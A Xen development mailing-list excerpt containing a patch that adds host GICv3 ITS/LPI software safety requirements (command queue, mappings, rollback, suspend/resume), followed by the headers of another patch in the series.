 b=BhmdUUqufW6wRg7hNTXRK7IzcmYj4wQBYxR+YM1o7j9Ri6ArTwiz+f9a7ucnwZAFt3bXiZGDlOCQWZZZEX/+VCGUBoK/PX7MxXTUFQ+0FTu3Bqc3SmZl8Pr31LsP6/7g2f32agMBV39YZVGMyJ3Oy/HbhyCWRLIKTMgAvg26Jviv/gwb+oivK5JRCeeO2FzkWF+YenXCffxgzv3xyEodXZ+ePItOTptewp8E0eo0Xr1j51yu7Ue+pPCYxCcIRVtpUByRKWZ06FP8mVc6rE995dUbZoSL6kNNlpeRUvXFZSzlozctt/ykbzhWDDHAWHS8qIrjRnzjqj/iXb0OLD0UvQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Subject: [REQUIREMENTS][PATCH v2 4/6] reqs: add host ITS/LPI requirements
Date: Fri, 17 Jul 2026 10:11:25 +0300
Message-ID: <614929b338211f30efe8a51f61a4ad263ee862e6.1784272211.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1784272211.git.mykola_kvach@epam.com>
References: <cover.1784272211.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0022.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::22) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7985:EE_
X-MS-Office365-Filtering-Correlation-Id: 37012a48-e8f5-431d-1b3c-08dee3d2b447
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|18002099003|22082099003|3023799007|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	NNqpgIXR+oaO0M6dYKuPsmAMDyjTT87chavq+newrG6nqU7UvqpLxYIeSz5vcl5X07Tos2MaKxbD9mhnORCdBcRrpepVUgeIjdYIo80VkCLIs4kZo5TcCFjma726T/G2SAGGC46TZD6x1S5l/rX4wOeSVGJP7RDNKaqKMvzWsMZJAncLR225DKFOpch34me7i8wtH9EuCNCRNNBxSaAjmYHYI5zN5GCATki38Ak6857/W1PnhKRNIFgcllvNqu09xX837IhHVxhfB9eHlJeOkK/xcZViim17BvyFHEHscv7JgE/HMge9TJlYby26k709kntJ6zXFHNVBhslmMwZPAR1Ixvi0+szJKwXcVIoiBSC9KlwJQghpvDYHDvfVZl/1mpIGlgOQD7EtD2ZwBWkJX+VyEChtX+AyCMkp0iylsCFgBnc0VeHSRySORI6PQyxeQQ74YZKlJjyPEDD3c6fmPW7/ePtoHt5ziDOju8Pq2r/v60BFhrGa8CuSN69yWGLvNBwnlimb3o3tHiVEbYg9hiujkWVELyZ6wg7iLYHX+TGZ8EIvsh9mrPCXhdXfb6ef21raUHfMzTYUq2Mi6o5FwwNBwt98C1ubFpuglYGsQa8JKBLWgI50P/XSsg7xVRcEq2JaF3fg2fM9LPzPEWLeadgJhphRz/FFbrLKWZ9RWdM=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(18002099003)(22082099003)(3023799007)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?/xGa+0kVRo9yJU7+7D8NeepsMZf2LOgQeycSUlAA2owKwLMnm4qODSHOEMvL?=
 =?us-ascii?Q?dLe95/jb3abA9k4uLDdoJv7/JFwqxWZufue0xpcB/0Sbw1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-ascii?Q?SoINrQznQ2o0NEdm6boZsol0G+pB5NOC7IFNfeD8KIUGEdhMSOEah7wPCEDF?=
 =?us-ascii?Q?Sx2iuYCXgGzO61VklJiAaSkRUCJ3wVeUQtMyjQww1H2blI9fw7/VP4QnB6UI?=
 =?us-ascii?Q?RH8eG4bHFGYDBUo8hRWm2w34zFbe7YwIAfvJ3lSIO+BxCq9OS1UcsyY3DwoW?=
 =?us-ascii?Q?WALw8dqODF2EkITHotPSgBMhR7UWnn984E3WTUM6BRf2a956OL60vEjZfFOZ?=
 =?us-ascii?Q?S2+btf86AUaoiG9VLMqa9TNfJphfa5ZmhEVBynVDzisKBbXzgXR4jgg1I+sN?=
 =?us-ascii?Q?ertLObqkgQ61ELUgq2oabVbmjeE9DfwTwQrDuA4oge1taxdw89UUsf49SsrK?=
 =?us-ascii?Q?IdHWDnf+jk8vSOUYnINh53hZXVif9Mr/O7Y2tRwiLska4cxf9ZCcOTd+NOuE?=
 =?us-ascii?Q?9e01vXh5qSRQ1MOYKiWixR7t1/VhcNblbV/1M5xfTfzb4+tMgq+s4++Ez6Ij?=
 =?us-ascii?Q?q8jV97wjkPHIzWtCAjQaE0dLR9SyJUgAVTfXcR00mixU9i8gmTJezaqt7Afm?=
 =?us-ascii?Q?PxZQf+fq0TVipo2XxZ2C0w/5TQDIR2MvM5d3kTe7epJDv3NIiL46+N2yd0re?=
 =?us-ascii?Q?mQroS7CRBVFXOMMg9pv5Fn93+ecOFSAorporJjTNn1YX0OTpFxWM/526V3W/?=
 =?us-ascii?Q?vZmQ533mwDRE4rL2dtWAQ8aH2lMGtyb7W6Z4a9pTBpVdxHrrkw/32XwHuQYP?=
 =?us-ascii?Q?03nnesXJSKH0H0yfKwmSwUed66C6AD6yUEnCOo3IdX6H6CFp/CKaCmU74Oka?=
 =?us-ascii?Q?Sttc/yPjzQ=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 37012a48-e8f5-431d-1b3c-08dee3d2b447
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:12:04.2570
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 2l+Geg4UxQ8vUh2DdX822quNRBtli7kl0kWRdtePj7anYxYHEH5L0hLttVQwuA/jqHXcSvaZshnQoGeBY8iqmQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7985
X-purgate-ID: tlsNG-d62444/1784272325-BC95A757-4198AD93/0/0
X-purgate-type: clean
X-purgate-size: 15908

Add software requirements for Xen's host-side ITS-backed LPI handling.
Guest-visible ITS behaviour is covered by separate requirement.

Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
Changes in v2:
- avoid passive voice in titles.
---
 .../physical_resources/arm64/index.rst        |   1 +
 .../physical_resources/arm64/its.rst          | 519 ++++++++++++++++++
 2 files changed, 520 insertions(+)
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/its.rst

diff --git a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
index 71d8981..cd1aaca 100644
--- a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
+++ b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/index.rst
@@ -7,6 +7,7 @@ Arm64
    :maxdepth: 1
 
    gicv3
+   its
    p2m
    pci_host_rcar
    scif
diff --git a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/its.rst b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/its.rst
new file mode 100644
index 0000000..6024259
--- /dev/null
+++ b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/its.rst
@@ -0,0 +1,519 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+Host ITS/LPI requirements
+=========================
+
+The following requirements define Xen's host-side use of GICv3 ITS and LPI
+interfaces [1]. Guest-visible ITS/vGIC state and GICv4 direct virtual LPI
+delivery are covered by separate requirement groups.
+
+Host ITS Device Tree discovery
+------------------------------
+
+`XenSSR~arm64_gicv3_its_dt_discovery~1`
+
+Description:
+Xen shall discover host ITS frames from Device Tree nodes compatible with
+``arm,gic-v3-its``. This discovery shall include use of the following Device
+Tree state:
+
+ - ITS node compatibility
+ - ITS register frame base address
+ - ITS register frame size
+
+Rationale:
+Xen uses host ITS frames to translate assigned-device MSI events into host
+LPIs.
+
+Covers:
+ - `XenPRQ~boot~1`
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS initialization before use
+----------------------------------
+
+`XenSSR~arm64_gicv3_its_init_before_use~1`
+
+Description:
+Xen shall initialize a discovered host ITS before using it for MSI/LPI
+translation.
+
+Rationale:
+A host ITS translates DeviceID and EventID values into LPIs routed to
+Redistributors. Xen relies on initialized ITS state before creating host event
+mappings.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS quiescent state before configuration
+---------------------------------------------
+
+`XenSSR~arm64_gicv3_its_quiescent_before_config~1`
+
+Description:
+Xen shall put a host ITS into the quiescent state before programming its
+command queue or translation table base registers. This shall include use of:
+
+ - ``GITS_CTLR.Enabled``
+ - ``GITS_CTLR.Quiescent``
+
+Rationale:
+A host ITS can retain outstanding commands or translations. Xen ensures that
+previous ITS activity has completed before programming new host ITS state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS command queue readiness
+--------------------------------
+
+`XenSSR~arm64_gicv3_its_cmd_queue_ready~1`
+
+Description:
+Xen shall configure the host ITS command queue before issuing host ITS
+commands. This shall include use of:
+
+ - ``GITS_CBASER``
+ - ``GITS_CWRITER``
+ - ``GITS_CREADR``
+
+Rationale:
+Xen issues host ITS commands through the ITS command queue. The command queue
+state determines where command entries are stored and how producer and consumer
+positions are tracked.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS translation table readiness
+------------------------------------
+
+`XenSSR~arm64_gicv3_its_translation_table_ready~1`
+
+Description:
+Xen shall configure the host ITS translation tables required by the selected
+ITS before enabling that ITS. This shall include use of:
+
+ - ``GITS_BASER<n>``
+ - ``GITS_TYPER``
+ - ``GITS_CTLR``
+
+Rationale:
+The ITS uses translation tables to store Device, Collection and other
+implementation-supported translation state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS command issue
+----------------------
+
+`XenSSR~arm64_gicv3_its_cmd_issue~1`
+
+Description:
+Xen shall issue a host ITS command only after the command queue has space for
+the command entry. This shall include use of:
+
+ - ``GITS_CREADR``
+ - ``GITS_CWRITER``
+
+Rationale:
+The ITS command queue is a circular queue. Xen advances the command queue
+producer position to expose command entries to the ITS.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS command completion
+---------------------------
+
+`XenSSR~arm64_gicv3_its_cmd_completion~1`
+
+Description:
+Xen shall complete the host ITS command sequence required for a mapping before
+reporting that mapping as successful. Depending on the mapping operation, this
+shall include completion of the relevant command sequence using:
+
+ - ``MAPC``
+ - ``MAPD``
+ - ``MAPTI``
+ - ``INV``
+ - ``SYNC``
+
+Rationale:
+Host ITS commands complete asynchronously. Mapping success depends on the host
+ITS completing the commands that create, update or invalidate interrupt
+translation state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS command failure propagation
+------------------------------------
+
+`XenSSR~arm64_gicv3_its_cmd_failure_propagation~1`
+
+Description:
+Xen shall propagate host ITS command issue or completion failure to the
+operation that depends on that command.
+
+Rationale:
+A host ITS command queue full condition, command issue failure or command
+completion timeout means the dependent ITS translation state cannot be treated
+as committed.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS Redistributor target encoding
+--------------------------------------
+
+`XenSSR~arm64_gicv3_its_rd_target_encoding~1`
+
+Description:
+Xen shall encode host ITS Redistributor targets using the RDbase format selected
+by the host ITS. This shall include use of:
+
+ - ``GITS_TYPER.PTA``
+
+Rationale:
+A host ITS can identify Redistributor targets by physical address or by
+Redistributor processor number. Xen uses the selected ITS target address format
+when encoding commands that refer to Redistributor targets.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS collection target setup
+--------------------------------
+
+`XenSSR~arm64_gicv3_its_collection_target_setup~1`
+
+Description:
+Xen shall complete host ITS collection setup for a CPU before using that CPU as
+an LPI delivery target. This shall include completion of:
+
+ - ``MAPC``
+ - ``SYNC``
+
+Rationale:
+A host ITS collection identifies the Redistributor target used for LPI delivery
+to a CPU.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS DeviceID and EventID range
+-----------------------------------
+
+`XenSSR~arm64_gicv3_its_device_event_range~1`
+
+Description:
+Xen shall map host ITS device events using DeviceID and EventID values within
+the ranges supported by the selected host ITS. This shall include use of:
+
+ - ``GITS_TYPER``
+
+Rationale:
+The host ITS uses DeviceID and EventID values to index interrupt translation
+state. Xen derives the supported ranges from the selected host ITS capability
+state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS assigned-device mapping setup
+--------------------------------------
+
+`XenSSR~arm64_gicv3_its_assigned_dev_mapping_setup~1`
+
+Description:
+Xen shall complete host ITS device and event mapping before reporting an
+assigned-device interrupt mapping as successful. Depending on the mapping
+operation, this shall include completion of the relevant command sequence using:
+
+ - ``MAPD``
+ - ``MAPTI``
+ - ``INV``
+ - ``SYNC``
+
+Rationale:
+Assigned-device interrupt delivery depends on a valid host device table entry
+and a valid EventID-to-host-LPI translation.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host ITS setup rollback
+-----------------------
+
+`XenSSR~arm64_gicv3_its_setup_rollback~1`
+
+Description:
+Xen shall remove host ITS and host LPI state created for an assigned-device
+event setup when that setup fails before completion.
+
+Rationale:
+Assigned-device interrupt setup can fail after some host ITS or host LPI state
+has been created. Xen removes the partial state so that later interrupts cannot
+use an incomplete mapping.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host LPI support selection
+--------------------------
+
+`XenSSR~arm64_gicv3_lpi_support_selection~1`
+
+Description:
+Xen shall enable host LPI delivery only when the host GIC reports LPI support
+and at least one host ITS has been discovered.
+
+Rationale:
+The reviewed Xen host LPI implementation uses an ITS to translate MSI events
+into LPIs. Without a discovered host ITS, Xen does not configure Redistributor
+LPI delivery for host LPIs.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host LPI Redistributor state readiness
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+`XenSSR~arm64_gicv3_lpi_redist_state_readiness~1`
+
+Description:
+Xen shall enable host LPI delivery for a Redistributor only after the LPI
+Property table and a zeroed LPI Pending table for that Redistributor have been
+initialized successfully. This shall include use of:
+
+ - GICR_PROPBASER
+ - GICR_PENDBASER
+ - GICR_CTLR
+
+Rationale:
+The Redistributor uses the LPI Property table to determine LPI enable and
+priority state, and the LPI Pending table to record physical LPI pending state.
+Xen enables host LPI delivery only after both tables have been initialized so
+that host LPIs are delivered using initialized Redistributor LPI state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host LPI INTID allocation
+-------------------------
+
+`XenSSR~arm64_gicv3_lpi_intid_allocation~1`
+
+Description:
+Xen shall allocate host LPI INTIDs from the physical LPI INTID range supported
+by the host GIC. This shall include use of the following state:
+
+ - ``GICD_TYPER.IDbits``
+ - configured Xen host LPI limit
+
+Rationale:
+Host LPIs are physical interrupt IDs used to represent assigned-device events.
+Xen limits host LPI allocation to the implemented physical INTID range and to
+the configured host LPI limit.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host LPI ownership lookup
+-------------------------
+
+`XenSSR~arm64_gicv3_lpi_delivery_ownership~1`
+
+Description:
+Xen shall resolve a received host LPI to the domain and virtual LPI associated
+with the active host ITS mapping for that device event.
+
+Rationale:
+A host LPI represents an assigned-device event after host ITS translation. Xen
+uses the host LPI ownership state to identify the target domain and virtual LPI
+before handing the interrupt to the virtual interrupt delivery path.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host suspend/resume
+-------------------
+
+Suspend/resume ITS context
+^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The suspend/resume requirements below apply to Xen-owned host ITS state and
+Redistributor LPI state. The covered context includes the following state, when
+the corresponding feature is implemented and enabled on the platform.
+
+ITS state:
+
+ - ``GITS_CTLR``
+ - ``GITS_CBASER``
+ - ``GITS_BASER<n>``
+ - ``GITS_CWRITER`` is reset after restoring ``GITS_CBASER`` so that command
+   queue pointers are coherent after resume.
+ - ITS collection state is replayed only when the collection is held in the ITS
+   itself. Memory-backed collections are restored through the restored
+   ``GITS_BASER<n>`` tables and are not remapped unconditionally.
+
+Redistributor LPI state:
+
+ -  ``GICR_PROPBASER``
+ -  ``GICR_PENDBASER``
+
+Save host ITS/LPI state before suspend
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+`XenSSR~arm64_suspend_resume_its_lpi_save_before_firmware~1`
+
+Description:
+Xen shall save the Xen-owned host ITS/LPI context required to restore host
+MSI-to-LPI translation and LPI delivery after firmware wakeup before invoking
+firmware ``SYSTEM_SUSPEND``. The saved context is described in the
+`Suspend/resume ITS context`_.
+
+Rationale:
+Firmware suspend can remove or reset host ITS and Redistributor LPI state. Xen
+saves the Xen-owned ITS/LPI state before entering firmware suspend so that host
+MSI-to-LPI translation and LPI delivery can be restored after wakeup.
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~suspend~1`
+
+Needs:
+ - XenVerTestCase
+
+Restore host ITS/LPI state before use
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+`XenSSR~arm64_suspend_resume_its_lpi_restore_before_use~1`
+
+Description:
+Xen shall restore the Xen-owned host ITS/LPI context after firmware resume or
+host-suspend abort before issuing host ITS commands or relying on host LPI
+delivery. The restored context is described in the `Suspend/resume ITS context`_.
+
+Rationale:
+Host ITS commands and host LPI delivery rely on initialized ITS tables, command
+queue state, and Redistributor LPI state. Xen restores the Xen-owned ITS/LPI
+context before using the host ITS or relying on host LPI delivery after resume
+or suspend abort.
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~resume~1`
+
+Needs:
+ - XenVerTestCase
+
+Replay ITS-backed collection mappings when required
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+`XenSSR~arm64_suspend_resume_its_collection_replay_conditional~1`
+
+Description:
+Xen shall replay host ITS collection mappings on resume only for collection IDs
+held in the ITS itself, as indicated by ``GITS_TYPER.HCC``. This shall include
+use of:
+
+ - ``GITS_TYPER.HCC``
+ - ``MAPC``
+ - ``SYNC``
+
+Xen shall use the restored ``GITS_BASER<n>`` translation table state as the
+source of collection state for memory-backed collections.
+
+Rationale:
+ITS collection state can be held either in the ITS itself or in memory-backed
+tables. Replaying collection mappings for memory-backed collections can
+duplicate or overwrite state that has already been restored through
+``GITS_BASER<n>``. Conditioning replay on ``GITS_TYPER.HCC`` keeps the resume
+path aligned with the ITS collection storage model.
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~resume~1`
+
+Needs:
+ - XenVerTestCase
+
+Tolerate retained Redistributor LPI state
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+`XenSSR~arm64_suspend_resume_its_retained_redist_lpi_state~1`
+
+Description:
+Xen shall tolerate platforms where Redistributor LPI state is retained across
+CPU_OFF/CPU_ON or host suspend/resume, and shall avoid reinitializing retained
+Redistributor LPI state as lost state.
+
+Rationale:
+Some platforms retain Redistributor LPI state across CPU power transitions or
+host suspend/resume. Incorrect reinitialization can corrupt retained pending or
+configured LPI state.
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ~pcpu_on~1`
+ - `XenPRQ~resume~1`
+
+Needs:
+ - XenVerTestCase
+
+| [1] Arm Generic Interrupt Controller Architecture Specification (GIC architecture version 3 and version 4)
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364689.1615716 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcju-0005rG-Es; Fri, 17 Jul 2026 07:12:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364689.1615716; Fri, 17 Jul 2026 07:12:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcju-0005qH-8X; Fri, 17 Jul 2026 07:12:06 +0000
Received: by outflank-mailman (input) for mailman id 1364689;
 Fri, 17 Jul 2026 07:12:05 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wkcjt-0005n8-8m
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:12:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcjs-0083h9-LZ
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:12:04 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5b9-2eae-0a2a0a5409dd-0a2a450ccd0e-42
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:04 +0200
Received: from [52.101.70.123]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5c4-f479-0a2a450c0019-3465467ba3d5-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:04 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7985.eurprd03.prod.outlook.com (2603:10a6:20b:428::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 07:12:03 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 07:12:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=GeX8eAquuO6af4SypcfKt5melDVadpaEcg2+6aEx0r0JMUfAtGiJn1NBGbzV3wMvCF6y2K9F0zbHRdUqAtq6IclPEaNtfmyy0p4DddgU5hSdXDQ/kjdETuL6WvP/MoGvFr9rtbOwSYmLFcOx29EzutZrn4RVr1cFNc0t6PCwws015BGjRajm9EcDn0YfkhY9uwsCmbDTxyzJAVYSxY2fHzuW8LjB8ZkhL4DQER8T2AZ4Hy47xnzVYwX8lHthrNT25PXOcquo0MS0bzI2ZwG788PPxnlwH8MtjAW9VcoxCEXtudyWcSu6R9BwnQ/FXP8f3teLhoaK3uraB9I+5divng==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=kIVFKNcVZQjluf7v8uIph/veqYCABO1SJTrjKkjRvQI=;
 b=BB7M9daJwYG0iuordhKGQch1PG37Ol3UOTVCnQlfLCZXMfWysO5IqATsAS9ly4Up8GpVUfz9R4vvpgI+5kDPv5Kb4qreV9/2tzv40NukR+6NTUStpqwkr+lYc5WBsN9VOWXG6qdPvFjaxxaTrhq9ZbdqmnQRYdKPy5x/gSupuVt9acizG3GJ8ZvZg1dBWA4HEWLvJvfc+IoA/PJape+ln2KNAjWiuu91fxpUZ+hGA6ScPYIKOvYX1dEnTDNhVegGJemknUyDB6k+CMr/bpodGHmnbYWf5dM+Arz+KYFXLXvNUQT5/ZkHpPquzmAyglI4YVhBCYOOcDFcHE46u6TbSA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=kIVFKNcVZQjluf7v8uIph/veqYCABO1SJTrjKkjRvQI=;
 b=eDbsxh5jWuORdSpdTY9rR8bGkcbsJYR9wSzzMMlNUNfO/xiMDVxUAQgIkUceUAktrvbsDx408pWb2nWnhzm5xb8rd1YNKPe3FF463848MoUzJVlL8+jJwYR5mG4d5JU1wkKmph8nwv8K+yO9wEEItppQvSfxAmrI6NpM2vN6wPBVEtMMQeUD8RPc7zp+36EAHJJ5hSHThxJZh+t+jJDAhuniRJH+dSask1BbQrdE1l/xj6s5MZEkP62I4SVB+Ycw7G/02dZdUCbw+7VTTXJjGVOK2/3Mb7WXtWbE4YnCa54QFy7H+K0P+/5xqLkA8epXqqw+mWumuEnrI+n97xxkKg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Subject: [REQUIREMENTS][PATCH v2 3/6] reqs: drop duplicate GIC version AoU
Date: Fri, 17 Jul 2026 10:11:24 +0300
Message-ID: <338323dfeeba74f130f1c5ee336327ff07dd5cba.1784272211.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1784272211.git.mykola_kvach@epam.com>
References: <cover.1784272211.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0022.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::22) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7985:EE_
X-MS-Office365-Filtering-Correlation-Id: cead1757-b6e5-4a05-dbfe-08dee3d2b39b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|18002099003|22082099003|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
